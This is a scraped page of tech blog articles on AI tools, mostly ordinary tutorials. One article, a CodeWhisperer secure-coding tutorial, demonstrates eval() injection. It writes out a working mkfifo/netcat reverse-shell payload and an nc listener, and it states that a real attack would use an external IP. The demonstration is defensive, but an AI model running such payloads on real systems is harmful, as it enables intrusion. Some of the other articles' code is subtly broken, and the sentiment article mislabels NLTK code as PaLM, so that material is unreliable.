adaptability to changing data, security features, and easy integration with other AI tools.  🔛 Masterclass: AI/LLM Tutorials🔑 Integrating Amazon MSK with CockroachDB for Real-Time Data Streams: This guide offers a comprehensive step-by-step process for integrating Amazon Managed Streaming for Apache Kafka (Amazon MSK) with CockroachDB, creating a robust and scalable pipeline for real-time data processing. The integration enables various use cases, such as real-time analytics, event-driven microservices, and audit logging, enhancing businesses' ability to provide immediate, personalized experiences for customers. 🔑 Understanding GPU Workload Monitoring on Amazon EKS with AWS Managed Services: As the demand for GPU-accelerated ML workloads grows, this post offers valuable insights into monitoring GPU utilization on Amazon Elastic Kubernetes Service (EKS) using AWS managed open-source services. Amazon EC2 instances with NVIDIA GPUs are crucial for efficient ML training. The article explains how GPU metrics can provide essential information for optimizing resource allocation, identifying anomalies, and enhancing system performance.  🔑 Unlocking Zero-Shot Adaptive Prompting for LLMs: This study explores LLMs, emphasizing their prowess in solving problems in both few-shot and zero-shot scenarios. It introduces "Consistency-Based Self-Adaptive Prompting (COSP)" and "Universal Self-Adaptive Prompting (USP)" to generate robust prompts for diverse tasks in natural language understanding and generation. 🔑 Exploring Interactive AI Applications with OpenAI's GPT Assistants and Streamlit: This post unveils a cutting-edge Streamlit app integrating OpenAI's GPT models for interactive Wardley Mapping instruction. It details development, emphasizing GPT-4-1106-preview, covering setup, session management, UI configuration, user input, and real-time content generation, showcasing Streamlit's synergy with OpenAI for dynamic applications.  🔑 Utilizing GPT-4 Code Interpreter API for CSV Analysis: A Step-by-Step Guide: Learn to analyze CSV files with OpenAI's GPT-4 Code Interpreter API. The guide covers step-by-step processes, from uploading files via Postman to creating an Assistant, forming a thread, and executing a run. Gain insights for efficient CSV analysis, unlocking data-driven insights and automation power. 🔑 Creating a Python Chat Web App with OpenAI's API and Reflex: In this tutorial, you'll learn how to develop a chat web application in pure Python, utilizing OpenAI's API for intelligent responses. The guide explains how to use the Reflex open-source framework to build both the backend and frontend entirely in Python. The tutorial also covers styling and handling user input, making it easy for those without JavaScript experience to create a chat application with an AI-driven chatbot. By the end, you'll have a functional AI chatbot web app built in Python.  🚀 HackHub: Trending AI Tools📐tigerlab-ai/tiger: Build customized AI models and language applications, bridging the gap between general LLMs and domain-specific knowledge. 📐 langchain-ai/langchain/tree/master/templates: Reference architectures for various LLM use cases, enabling developers to quickly build production-ready LLM applications. 📐 ggerganov/whisper.cpp/tree/master/examples/talk-llama: Uses the SDL2 library to capture audio from the microphone and combines Whisper and LLaMA models for real-time interactions. 📐 explosion/thinc: Lightweight deep learning library for model composition, offering type-checked, functional-programming APIs, and support for PyTorch, TensorFlow, and MXNet. 
Read more
  • 0
  • 0
  • 859

article-image-chatgpt-for-search-engines
Sangita Mahala
10 Nov 2023
10 min read
Save for later

ChatGPT for Search Engines

Sangita Mahala
10 Nov 2023
10 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionChatGPT is a large language model chatbot developed by OpenAI and released on November 30, 2022. It is a variant of the GPT (Generative Pre-training Transformer) language model that is specifically designed for chatbot applications. In the context of conversation, it has been trained to produce humanlike responses to text input.The potential for ChatGPT to revolutionize the way we find information on the Internet is immense. We can give users a more complete and useful answer to their queries through the integration of ChatGPT into search engines. In addition, ChatGPT could help us to tailor the results so that they are of particular relevance for each individual user.Benefits of Integrating ChatGPT into Search EnginesThere are a number of benefits to using ChatGPT for search engines, including:Enhanced User Experience: By allowing users to talk about their questions in the spoken language, ChatGPT offers better user experiences and more relevant search results by enabling natural language interactions.Improvements in Relevance and Context: With ChatGPT, search engines can deliver very relevant and contextually appropriate results even for ambiguous or complex queries because of their understanding of the context and complexity of the query.Increased Engagement: Users are encouraged to actively engage with the search engine through conversation search. When the user receives interactivity as well as conversation answers, they will be more likely to explore their search results further.Time Efficiency: In order to reduce the time that users spend on adjusting their queries, ChatGPT is able to understand user intent at an early stage. The faster access to the information requested will result from this efficiency.Personalization: As part of its chat function, ChatGPT will gather users' preferences and configure the search results to reflect each user's needs in providing a personalized browsing experience.Prerequisites before we startThere are certain prerequisites that need to be met before we embark on this journey:OpenAI API Key: You must have an API key from OpenAI if you want to use ChatGPT. You'll be able to get one if you sign up at OpenAI.Python and Jupyter Notebooks: To provide more interactive learning of the development process, it is recommended that you install Python on your machine.OpenAI Python Library: To use ChatGPT, you will first need to download the OpenAI Python library. Using pip, you can install the following:pip install openaiExample-1: Code Search EngineInput Code:import openai # Set your OpenAI API key openai.api_key = 'YOUR_OPENAI_API_KEY' def code_search_engine(user_query):    # Initialize a conversation with ChatGPT    conversation_history = [        {"role": "system", "content": "You are a helpful code search assistant."},        {"role": "user", "content": user_query}    ]      # Engage in conversation with ChatGPT    response = openai.ChatCompletion.create(        model="gpt-3.5-turbo",        messages=conversation_history    )    # Extract code search query from ChatGPT response    code_search_query = response.choices[0].message['content']['body']    # Perform code search with the refined query (simulated function)    code_search_results = perform_code_search(code_search_query)    return code_search_results def perform_code_search(query):    # Simulated code search logic    # For demonstration purposes, return hardcoded code snippets based on the query    if "sort array in python" in query.lower():        return [            "sorted_array = sorted(input_array)",            "print(sorted_array)"        ]    elif "factorial in JavaScript" in query.lower():        return [            "function factorial(n) {",            "  if (n === 0) return 1;",            "  return n * factorial(n-1);",            "}",            "console.log(factorial(5));"        ]    else:        return ["No matching code snippets found."] # Example usage user_query = input("Enter your coding-related question: ") code_search_results = code_search_engine(user_query) print("Code Search Results:") for code_snippet in code_search_results:    print(code_snippet) Output:Enter your coding-related question: How to sort array in Python? Code Search Results: sorted_array = sorted(input_array) print(sorted_array) We demonstrate a code search engine. It's the user's query related to coding, and it will refine this query with help of a model that simulates code searching. Examples of usage demonstrate how appropriate code snippets are returned after a refined query like sorting the array in Python.Example-2: Interactive Search AssistantInput Code:import openai # Set your OpenAI API key openai.api_key = 'YOUR_OPENAI_API_KEY' def interactive_search_assistant(user_query):    # Initialize a conversation with ChatGPT    conversation_history = [        {"role": "system", "content": "You are a helpful assistant."},        {"role": "user", "content": user_query}    ]    # Engage in interactive conversation with ChatGPT    response = openai.ChatCompletion.create(        model="gpt-3.5-turbo",        messages=conversation_history    )      # Extract refined query from ChatGPT response    refined_query = response.choices[0].message['content']['body']    # Perform search with refined query (simulated function)    search_results = perform_search(refined_query)    return search_results def perform_search(query):    # Simulated search engine logic    # For demonstration purposes, just return a placeholder result    return f"Search results for: {query}" # Example usage user_query = input("Enter your search query: ") search_results = interactive_search_assistant(user_query) print("Search Results:", search_results) Output:Enter your search query: Tell me about artificial intelligence Search Results: Search results for: Tell me about artificial intelligence This task takes user search queries, refines them with assistance from the model, and performs a simulated search. In the example usage, it returns a placeholder search result based on the refined query, such as "Search results for: Tell me about artificial intelligence."Example-3: Travel Planning Search EngineInput Code:import openai # Set your OpenAI API key openai.api_key = 'YOUR_OPENAI_API_KEY' class TravelPlanningSearchEngine:    def __init__(self):        self.destination_info = {            "Paris": "Paris is the capital of France, known for its art, gastronomy, and culture.",            "Tokyo": "Tokyo is the capital of Japan, offering a blend of traditional and modern attractions.",            "New York": "New York City is famous for its iconic landmarks, Broadway shows, and diverse cuisine."            # Add more destinations and information as needed        }      def search_travel_info(self, user_query):        # Engage in conversation with ChatGPT        conversation_history = [            {"role": "system", "content": "You are a travel planning assistant."},            {"role": "user", "content": user_query}        ]              # Engage in conversation with ChatGPT        response = openai.ChatCompletion.create(            model="gpt-3.5-turbo",            messages=conversation_history        )        # Extract refined query from ChatGPT response        refined_query = response.choices[0].message['content']['body']        # Perform travel planning search based on the refined query        search_results = self.perform_travel_info_search(refined_query)        return search_results    def perform_travel_info_search(self, query):        # Simulated travel information search logic        # For demonstration purposes, match the query with destination names and return relevant information        matching_destinations = []        for destination, info in self.destination_info.items():            if destination.lower() in query.lower():                matching_destinations.append(info)        return matching_destinations # Example usage travel_search_engine = TravelPlanningSearchEngine() user_query = input("Ask about a travel destination: ") search_results = travel_search_engine.search_travel_info(user_query) print("Travel Information:") if search_results:    for info in search_results:        print(info) else:    print("No matching destination found.")Output:Ask about a travel destination: Tell me about Paris. Travel Information: Paris is the capital of France, known for its art, gastronomy, and culture.If users are interested, they can ask about their destination and the engine refines their query by applying a model's help to return accurate travel information. As an example, information on the destination shall be given by the engine when asking about Paris.ConclusionIn terms of user experience, it is a great step forward that ChatGPT has become integrated into search engines. The search engines can improve understanding of users' intents, deliver high-quality results, and engage them in interactivity dialogues by using the power of speech processing and cognitive conversations. The synergy of ChatGPT and search engines, with the development of technology, will undoubtedly transform our ability to access information in a way that makes online experiences more user-friendly, efficient, or enjoyable. You can embrace the future of search engines by enabling ChatGPT, which means every query is a conversation and each result will be an intelligent answer.Author BioSangita Mahala is a passionate IT professional with an outstanding track record, having an impressive array of certifications, including 12x Microsoft, 11x GCP, 2x Oracle, and LinkedIn Marketing Insider Certified. She is a Google Crowdsource Influencer and IBM champion learner gold. She also possesses extensive experience as a technical content writer and accomplished book blogger. She is always Committed to staying with emerging trends and technologies in the IT sector.
Read more
  • 0
  • 0
  • 259
Unlock access to the largest independent learning library in Tech for FREE!
Get unlimited access to 7500+ expert-authored eBooks and video courses covering every tech area you can think of.
Renews at €18.99/month. Cancel anytime
article-image-writing-secure-code-with-amazon-codewhisperer
Joshua Arvin Lat
10 Nov 2023
12 min read
Save for later

Writing Secure Code with Amazon CodeWhisperer

Joshua Arvin Lat
10 Nov 2023
12 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionHave you ever used an AI coding assistant like Amazon CodeWhisperer? If not, you'll be surprised at how these AI-powered tools can significantly accelerate the coding process. In the past, developers had to rely solely on their expertise and experience to build applications. At the moment, we're seeing the next generation of developers leverage AI to not only speed up the coding process but also to ensure that their applications meet the highest standards of security and reliability.In this blog post, we will dive deep into how we can use CodeWhisperer to (1) speed up the coding process and (2) detect vulnerabilities and issues in our code. We’ll have the following sections in this post: Part 01 — Technical RequirementsPart 02 — Avoiding conflicts or issues with existing installed extensionsPart 03 — Using Amazon CodeWhisperer to accelerate Python coding workPart 04 — Realizing and proving that our code is vulnerablePart 05 — Detecting security vulnerabilities with Amazon CodeWhispererWithout further ado, let’s begin!Part 01 — Technical RequirementsYou need to have Amazon CodeWhisperer installed and configured with VS Code on our local machine. Note that we will be using CodeWhisperer Professional for a single user.  Make sure to check the pricing page (https://aws.amazon.com/codewhisperer/pricing/) especially if this is your first time using CodeWhisperer. Before installing and setting up the CodeWhisperer extension in VS Code, you need to:(1) Enable IAM Identity Center and create an AWS organization(2) Create an IAM organization user(3) Set up CodeWhisperer for a single user, and(4) Set up the AWS Toolkit for VS Code (https://aws.amazon.com/visualstudiocode/).Make sure that the CodeWhisperer extension is installed and set up completely before proceeding. We’ll skip the steps for setting up and configuring VS Code so that we can focus more on how to use the different features and capabilities of Amazon CodeWhisperer.Note: Feel free to check the following link for more information on how to set up CodeWhisperer: https://docs.aws.amazon.com/codewhisperer/latest/userguide/whisper-setup-prof-devs.html.Part 02 — Avoiding conflicts or issues with existing installed extensionsTo ensure that other installed extensions won’t conflict with the AWS Toolkit, we have the option to disable all installed extensions similar to what is shown in the following image:                                                                          Image 01 — Disabling All Installed ExtensionsOnce all installed extensions have been disabled, we need to make sure that the AWS Toolkit is enabled by locating the said extension under the list of installed extensions and then clicking the Enable button (as highlighted in the following image):                                                                      Image 02 — Enabling the AWS Toolkit extensionThe AWS Toolkit may require you to connect and authenticate again. For more information on how to manage extensions in VS Code, feel free to check the following link: https://code.visualstudio.com/docs/editor/extension-marketplacePart 03 — Using Amazon CodeWhisperer to accelerate Python coding workSTEP # 01:  Let’s start by creating a new file in VS Code. Name it whisper.py (or any other filename)                                                                                                              Image 03 — Creating a new file STEP # 02: Type the following single-line comment in the first line # Create a calculator function that accepts a string expression using input() and uses eval() to evaluate the expressionSTEP # 03: Next, press the ENTER keyYou should see a recommended line of code after a few seconds. In case the recommendation disappears (or does not appear at all), feel free to press OPTION + C (if you’re on Mac) or ALT + C (if you’re on Windows or Linux)  to trigger the recommendation:                                                             Image 04 — CodeWhisperer suggesting a single line of codeSTEP # 04: Press TAB to accept the code suggestion                                                                                       Image 05 — Accepting the code suggestion by pressing TABSTEP # 05: Press ENTER to go to the next line. You should see a code recommendation after a few seconds. In case the recommendation disappears (or does not appear at all), feel free to press OPTION + C (if you’re on Mac) or ALT + C (if you’re on Windows or Linux)  to trigger the recommendation:                                                                   Image 06 — CodeWhisperer suggesting a block of codeSTEP # 06: Press TAB to accept the code suggestionImage 07 — Accepting the code suggestion by pressing TABSTEP # 07: Press ENTER twice and then backspace.STEP # 08: Type if and you should see a recommendation similar to what we have in the following image:.Image 08 — CodeWhisperer suggesting a line of codeSTEP # 09: Press ESC to ignore the recommendation.STEP # 10: Press OPTION + C (if you’re on Mac) or ALT + C (if you’re on Windows or Linux)  to trigger another recommendationImage 09 — CodeWhisperer suggesting a block of codeSTEP # 11: Press TAB to accept the code suggestionImage 10 — Accepting the code suggestion by pressing TABNote that you might get a different set of recommendations when using CodeWhisperer. In cases where there are multiple recommendations, you can use the left (←) and right (→) arrow keys to select from the list of available recommendations.In case you are planning to try the hands-on examples yourself, here is a copy of the code generated in the previous set of steps:# Create a calculator function that accepts a string expression using input() and uses eval() to evaluate the expression def calculator():    expression = input("Enter an expression: ")    result = eval(expression)    print(result)    return result if __name__ = "__main__":    calculator()    # ...STEP # 12: Open a New Terminal (inside VS Code):Image 11 — Opening a new Terminal inside VS CodeSTEP # 13: Assuming that we are able to run Python scripts locally (that is, with our local machine properly configured), we should be able to run our script by running the following (or a similar command depending on how your local machine is set up):python3 whisper.pyImage 12 — Running the code locallyIf you entered the expression 1 + 1 and got a result of 2, then our application is working just fine!Part 04 — Realizing and proving that our code is vulnerableIn order to write secure code, it’s essential that we have a good idea of how our code could be attacked and exploited. Note that we are running the examples in this section on a Mac. In case you’re unable to run some of the commands in your local machine, that should be alright as we are just demonstrating in this section why the seemingly harmless eval() function should be avoided whenever possible.STEP # 01:  Let’s run the whisper.py script again and specify print('hello') when asked to input an expression.print('hello')This should print hello similar to what we have in the following image:Image 13 — Demonstrating why using eval() is dangerousLooks like we can take advantage of this vulnerability and run any valid Python statement! Once a similar set of lines is used in a backend Web API implementation, an attacker might be able to inject commands as part of the request which could be processed by the eval() statement. This in turn could allow attackers to inject commands that would connect the target system and the attacker machine with something like a reverse shell.STEP # 02: Let’s run whisper.py again and specify the following statement when asked to input an expression:__import__('os').system('echo hello')#This should run the bash command and print hello similar to what we have in the following image:Image 14 — Another example to demonstrate why using eval() is dangerousSTEP # 03: Let’s take things a step further! Let’s open the Terminal app and let’s use netcat to listen on port 14344 by running the following command:nc -nvl 14344Image 15 — Using netcat to listen on port 14344Note that we are running the command inside the Terminal app (not the terminal window inside VS Code).STEP # 04: Navigate back to the VS Code window and run whisper.py again. This time, let’s enter the following malicious input when asked to enter an expression:__import__('os').system('mkfifo /tmp/ABC; cat /tmp/ABC | /bin/sh -i 2>&1 | nc localhost 14344 > /tmp/ABC')#This would cause the application to wait until the reverse shell is closed on the other side (that is, from the terminal window we opened in the previous step)Image 16 — Entering a malicious input to start a reverse shellNote that in order to get this to work, /tmp/ABC must not exist yet before the command runs. Feel free to delete /tmp/ABC in case you need to retry this experiment.STEP # 05: Back in our separate terminal window, we should be able to access a shell similar to what we have in the following image:Image 17 — Reverse shellFrom here, an attacker could potentially run commands that would help them steal the data stored in the compromised machine or use the compromised machine to attack other resources. Since this is just a demonstration, simply run exit to close the shell. It is important to note that in our simplified example, we used the same system for the attacker and victim machines.Image 18 — How attackers could connect the target machine to the attacker machineOf course, in real-life scenarios and penetration testing activities, the attacker machine would be a separate/external machine. This means that the malicious input needs to be modified with the external attacker's IP address (and not localhost).Important Note: It is unethical and illegal to attack resources owned by another user or company. These concepts and techniques were shared to help you understand the risks involved when using vulnerable functions such as eval().Part 05 — Detecting security vulnerabilities with Amazon CodeWhispererDo you think most developers would even know that the exploit we performed in the previous section is even possible? Probably not! One of the ways to help developers write more secure code (that is, without having to learn how to attack and exploit their own code) is by having a tool that automatically detects vulnerabilities in the code being written. The good news is that CodeWhisperer gives us the ability to run security scans with a single push of a button! We’ll show you how to do this in the next set of steps:STEP # 01: Click the AWS icon highlighted in the following image:Image 19 — Running a security scan using Amazon CodeWhispererYou should find CodeWhisperer under Developer Tools similar to what we have in Image X. Under CodeWhisperer, you should find several options such as Pause Auto-Suggestions, Run Security Scan, Select Customization, Open Code Reference Log, and Learn.STEP # 02: Click the Run Security Scan option. This will run a security scan that will flag several vulnerabilities and issues similar to what we have in the following image:Image 20 — Results of the security scanThe security scan may take about a minute to complete. It is important for you to be aware that while this type of security scan will not detect all the vulnerabilities and issues in your code, adding this step during the coding process would definitely prevent a lot of security issues and vulnerabilities.Note that we won’t discuss in this post how to fix the current code. In case you’re wondering what the next steps are, all you need to do is perform the needed modifications and then run the security scan again. Of course, there would be a bit of trial and error involved as resolving the vulnerabilities may not be as straightforward as it looks.ConclusionIn this post, we were able to showcase the different features and capabilities of Amazon CodeWhisperer. If you are interested to learn more about how various AI tools can accelerate the coding process, feel free to check Chapter 9 of my 3rd book “Building and Automating Penetration Testing Labs in the Cloud”. You’ll learn how to use AI solutions such as ChatGPT, GitHub Copilot, GitHub Copilot Labs, Amazon CodeWhisperer, and Tabnine Pro to significantly accelerate the coding process.Author BioJoshua Arvin Lat is the Chief Technology Officer (CTO) of NuWorks Interactive Labs, Inc. He previously served as the CTO of 3 Australian-owned companies and also served as the Director for Software Development and Engineering for multiple e-commerce startups in the past. Years ago, he and his team won 1st place in a global cybersecurity competition with their published research paper. He is also an AWS Machine Learning Hero and he has been sharing his knowledge in several international conferences to discuss practical strategies on machine learning, engineering, security, and management. He is also the author of the books "Machine Learning with Amazon SageMaker Cookbook", "Machine Learning Engineering on AWS", and "Building and Automating Penetration Testing Labs in the Cloud". Due to his proven track record in leading digital transformation within organizations, he has been recognized as one of the prestigious Orange Boomerang: Digital Leader of the Year 2023 award winners.
Read more
  • 0
  • 0
  • 246

article-image-sentiment-analysis-with-generative-ai
Sangita Mahala
09 Nov 2023
8 min read
Save for later

Sentiment Analysis with Generative AI

Sangita Mahala
09 Nov 2023
8 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionThe process of detecting and extracting emotion from text is referred to as sentiment analysis. It's a powerful tool that can help understand the views of consumers, look at brand ratings, and find satisfaction with customers. Genetic AI models like GPT 3, PaLM, and Bard can change the way we think about sentiment analysis. It is possible to train these models with the aim of understanding human language's nuances, and detecting sentiment in any complicated or subtle text.Benefits of using generative AI for sentiment analysisThere are several benefits to using generative AI for sentiment analysis, including:Accuracy: In the area of sentiment analysis, neural AI models are capable of achieving very high accuracy. It is because of their ability to learn the intricate patterns and relationships between words and phrases which have different meanings.Scalability: Generative AI models can be scaled to analyze large volumes of text quickly and efficiently. It is of particular importance for businesses and organizations that need to process large quantities of feedback from customers or are dealing with Social Media data.Flexibility: In order to take into account the specific needs of different companies and organizations, genetic AI models may be adapted. A model may be trained to determine the feelings of customer assessments, Social Media posts, or any other type of news.How to use generative AI for sentiment analysisThere are two main ways to use generative AI for sentiment analysis:Prompt engineering: Prompt engineering is the process of designing prompts, which are used to guide generative AI models in generating desired outputs. For example, the model might be asked to state "the following sentence as positive, negative, or neutral: I'm in love with this new product!"Fine-tuning: Finetuning refers to a process of training the generative AI model on some particular text and label data set. This is why the model will be able to discover special patterns and relationships associated with various emotions in that data set.Hands-on examplesIn this example, we will use the PaLM API to perform sentiment analysis on a customer review.Example - 1Input:import nltk from nltk.sentiment.vader import SentimentIntensityAnalyzer # Download the VADER lexicon for sentiment analysis (run this once) nltk.download('vader_lexicon') def analyze_sentiment(sentence):    # Initialize the VADER sentiment intensity analyzer    analyzer = SentimentIntensityAnalyzer()      # Analyze the sentiment of the sentence    sentiment_scores = analyzer.polarity_scores(sentence)      # Determine the sentiment based on the compound score    if sentiment_scores['compound'] >= 0.05:        return 'positive'    elif sentiment_scores['compound'] <= -0.05:        return 'negative'    else:        return 'neutral' # Example usage with a positive sentence positive_sentence = "I am thrilled with the results! The team did an amazing job!" sentiment = analyze_sentiment(positive_sentence) print(f"Sentiment: {sentiment}")Output:Sentiment: positiveIn order to analyze the emotion in a particular sentence we have created a function that divides it into categories based on its sentiment score and labels it as positive, unfavorable, or neutral. For example, a positive sentence is analyzed and the results show a "positive" sentiment.Example - 2Input:import nltk from nltk.sentiment.vader import SentimentIntensityAnalyzer # Download the VADER lexicon for sentiment analysis (run this once) nltk.download('vader_lexicon') def analyze_sentiment(sentence):    # Initialize the VADER sentiment intensity analyzer    analyzer = SentimentIntensityAnalyzer()      # Analyze the sentiment of the sentence    sentiment_scores = analyzer.polarity_scores(sentence)      # Determine the sentiment based on the compound score    if sentiment_scores['compound'] >= 0.05:        return 'positive'    elif sentiment_scores['compound'] <= -0.05:        return 'negative'    else:        return 'neutral' # Example usage with a negative sentence negative_sentence = "I am very disappointed with the service. The product didn't meet my expectations." sentiment = analyze_sentiment(negative_sentence) print(f"Sentiment: {sentiment}")Output:Sentiment: negativeWe have set up a function to evaluate the opinions of some sentences and then classify them according to their opinion score, which we refer to as Positive, Negative, or Neutral. To illustrate this point, an analysis of the negative sentence is carried out and the output indicates a "negative" sentiment.Example - 3Input:import nltk from nltk.sentiment.vader import SentimentIntensityAnalyzer # Download the VADER lexicon for sentiment analysis (run this once) nltk.download('vader_lexicon') def analyze_sentiment(sentence):    # Initialize the VADER sentiment intensity analyzer    analyzer = SentimentIntensityAnalyzer()    # Analyze the sentiment of the sentence    sentiment_scores = analyzer.polarity_scores(sentence)    # Determine the sentiment based on the compound score    if sentiment_scores['compound'] >= 0.05:        return 'positive'    elif sentiment_scores['compound'] <= -0.05:        return 'negative'    else:        return 'neutral' # Example usage sentence = "This is a neutral sentence without any strong sentiment." sentiment = analyze_sentiment(sentence) print(f"Sentiment: {sentiment}")Output:Sentiment: neutralFor every text item, whether it's a customer review, social media post or news report, the PaLM API can be used for sentiment analysis. To do this, select a prompt that tells your model what it wants to be doing and then request API by typing in the following sentence as positive, negative, or neutral. A prediction that you can print to the console or use in your application will then be generated by this model.Applications of sentiment analysis with generative AISentiment analysis with generative AI can be used in a wide variety of applications, including:Customer feedback analysis: Generative AI models can be used to analyze customer reviews and feedback to identify trends and areas for improvement.Social media monitoring: Generative AI models can be used to monitor social media platforms for brand sentiment and public opinion.Market research: In order to get a better understanding of customer preferences and find new opportunities, Generative AI models may be used for analyzing market research data.Product development: To identify new features and improvements, the use of neural AI models to analyze feedback from customers and product reviews is possible.Risk assessment: Generative AI models can be used to analyze financial and other data to assess risk.Challenges of using generative AI for sentiment analysisWhile generative AI has the potential to revolutionize sentiment analysis, there are also some challenges that need to be addressed:Requirements for data: Generative AI models require large amounts of training data to be effective. This can be a challenge for businesses and organizations that do not have access to large datasets.Model bias: Due to the biases inherent in the data they're trained on, generative AI models can be biased. This needs to be taken into account, as well as steps to mitigate it.Interpretation difficulties: The predictions of the generative AI models can be hard to understand. This makes it difficult to understand why a model made such an estimate, as well as to believe in its results.ConclusionThe potential for Generative AI to disrupt sentiment analysis is enormous. The generative AI models can achieve very high accuracy, scale to analyze a large volume of text, and be custom designed in order to meet the specific needs of different companies and organizations. In order to analyze sentiment for a broad range of text data, generative AI models can be used if you use fast engineering and quality tuning.A powerful new tool that can be applied to understand and analyze human language in new ways is sentiment analysis with generative artificial intelligence. As models of generative AI are improving, we can expect that this technology will be applied to a wider variety of applications and has an important impact on our daily lives and work.Author BioSangita Mahala is a passionate IT professional with an outstanding track record, having an impressive array of certifications, including 12x Microsoft, 11x GCP, 2x Oracle, and LinkedIn Marketing Insider Certified. She is a Google Crowdsource Influencer and IBM champion learner gold. She also possesses extensive experience as a technical content writer and accomplished book blogger. She is always Committed to staying with emerging trends and technologies in the IT sector.
Read more
  • 0
  • 0
  • 247

article-image-generating-synthetic-data-with-llms
Mostafa Ibrahim
09 Nov 2023
8 min read
Save for later

Generating Synthetic Data with LLMs

Mostafa Ibrahim
09 Nov 2023
8 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionIn this article, we will delve into the intricate process of synthetic data generation using LLMs. We will shed light on the concept behind the increasing importance of synthetic data, the prowess of LLMs in generating such data, and practical steps to harness the power of advanced models like OpenAI’s GPT-3.5. Whether you’re a seasoned AI enthusiast or a curious newcomer, embark with us on this enlightening journey into the heart of modern machine learning.What are LLMs?Large Language Models (LLMs) are state-of-the-art machine learning architectures primarily designed for understanding and generating human-like text. These models are trained on vast amounts of data, enabling them to perform a wide range of language tasks, from simple text completion to answering complex questions or even crafting coherent articles. Some examples of LLMs include:1. GPT-3 by OpenAI, with 175 billion parameters and up to 2048 tokens per unit.2. BERT by Google, with 340 million parameters and up to 512 tokens per unit.3. T5 (Text-to-Text Transfer Transformer by Google) with parameters ranging from 60 million to 11 billion depending on the model size. The number of tokens it can process is also influenced by its size and setup.That being said, LLMs, with their cutting-edge capabilities in NLP tasks like question answering and text summarization, are also highly regarded for their efficiency in generating synthetic data.Why Is There A Need for Synthetic Data1) Data ScarcityDo you ever grapple with the challenge of insufficient data to train your model? This dilemma is a daily reality for machine learning experts globally. Given that data gathering and processing are among the most daunting aspects of the entire machine-learning journey, the significance of synthetic data cannot be overstated.2) Data Privacy & SecurityReal-world data often contains sensitive information. For industries like healthcare and finance, there are stringent regulations around data usage. Such data may include customer’s credit cards, buying patterns, and diseases. Synthetic data can be used without compromising privacy since it doesn't contain real individual information.The Process of Generating Data with LLMsThe journey of producing synthetic data using Large Language Models begins with the preparation of seed data or guiding queries. This foundational step is paramount as it sets the trajectory for the type of synthetic data one wishes to produce. Whether it's simulating chatbot conversations or creating fictional product reviews, these initial prompts provide LLMs with the necessary context.Once the stage is set, we delve into the actual data generation phase. LLMs, with their advanced architectures, begin crafting text based on patterns they've learned from vast datasets. This capability enables them to produce information that aligns with the characteristics of real-world data, albeit synthesized.Generating Synthetic Data Using OpenAI’s GPT 3.5Step 1: Importing Neseccasry Librariesimport openaiStep 2: Set up the OpenAI API keyopenai.api_key = "Insert Your OpenAI key here"Step 3: Define our synthetic data generation functiondef generate_reviews(prompt, count=1):    reviews = []    for i in range(count):        review_generated = False        while not review_generated:            try:                # Generate a response using the ChatCompletion method                response = openai.ChatCompletion.create(                    model="gpt-3.5-turbo",                    messages=[                        {"role": "system", "content": "You are a helpful assistant."},                        {"role": "user", "content": prompt}                    ]                )                              review = response.choices[0].message['content'].strip()                word_count = len(review.split())                print("word count:", word_count)                # Check if the word count is within the desired range                if 15 <= word_count <= 70:                    print("counted")                    reviews.append(review)                    review_generated = True            except openai.error.OpenAIError as err:                print(f"Encountered an error: {err}")        # Optional: Add a slight variation to the prompt for next iteration        prompt += " Provide another perspective."    return reviewsStep 4: Testing our functionprompt_text = "Write a 25 word positive review for a wireless earbud highlighting its battery life." num_datapoints = 5 generated_reviews = generate_reviews(prompt_text, num_datapoints)Step 5: Printing generated synthetic datafor idx, review in enumerate(generated_reviews):    print(f"Review {idx + 1}: {review}")Output:Review 1: The battery life on these wireless earbuds is absolutely incredible! I can enjoy hours of uninterrupted music without worrying about recharging. Truly impressive!Review 2: "The battery life of these wireless earbuds is phenomenal! I can enjoy my favorite music for hours without worrying about recharging. Truly impressive!"Review 3: This wireless earbud is a game-changer! With an exceptional battery life that lasts all day, I can enjoy uninterrupted music and calls without any worries. It's a must-have for people on the go. Another perspective: As a fitness enthusiast, the long battery life of this wireless earbud is a true blessing. It allows me to power through my workouts without constantly needing to recharge, keeping me focused and motivated.Review 4: This wireless earbud's exceptional battery life is worth praising! It lasts all day long, keeping you immersed in your favorite tunes. A real game-changer for music enthusiasts.Review 5: The battery life of these wireless earbuds is exceptional, lasting for hours on end, allowing you to enjoy uninterrupted music or calls. They truly exceed expectations!Considerations and PitfallsHowever, the process doesn't conclude here. Generated data may sometimes have inconsistencies or lack the desired quality. Hence, post-processing, which involves refining and filtering the output, becomes essential. Furthermore, ensuring the variability and richness of the synthetic data is paramount, as too much uniformity can lead to overfitting when the data is employed for machine learning purposes. This refinement process should aim to eliminate any redundant or unrepresentative samples that could skew the model's learning process.Moreover, validating the synthetic data ensures that it meets the standards and purposes for which it was intended, ensuring both authenticity and reliability.ConclusionThroughout this article, we've navigated the process of synthetic data generation powered by LLMs. We've explained the underlying reasons for the escalating prominence of synthetic data, showcased the unparalleled proficiency of LLMs in creating such data, and provided actionable guidance to leverage the capabilities of pre-trained LLM models like OpenAI’s GPT-3.5.For all AI enthusiasts, we hope this exploration has deepened your appreciation and understanding of the evolving tapestry of machine learning,  LLMs, and synthetic data. As we stand now, it is clear that both synthetic data and LLMs will be central to many breakthroughs to come.Author BioMostafa Ibrahim is a dedicated software engineer based in London, where he works in the dynamic field of Fintech. His professional journey is driven by a passion for cutting-edge technologies, particularly in the realms of machine learning and bioinformatics. When he's not immersed in coding or data analysis, Mostafa loves to travel.Medium
Read more
  • 0
  • 0
  • 380

article-image-getting-started-with-chatgpt-advanced-data-analysis-part-2
Joshua Arvin Lat
08 Nov 2023
10 min read
Save for later

Getting Started with ChatGPT Advanced Data Analysis- Part 2

Joshua Arvin Lat
08 Nov 2023
10 min read
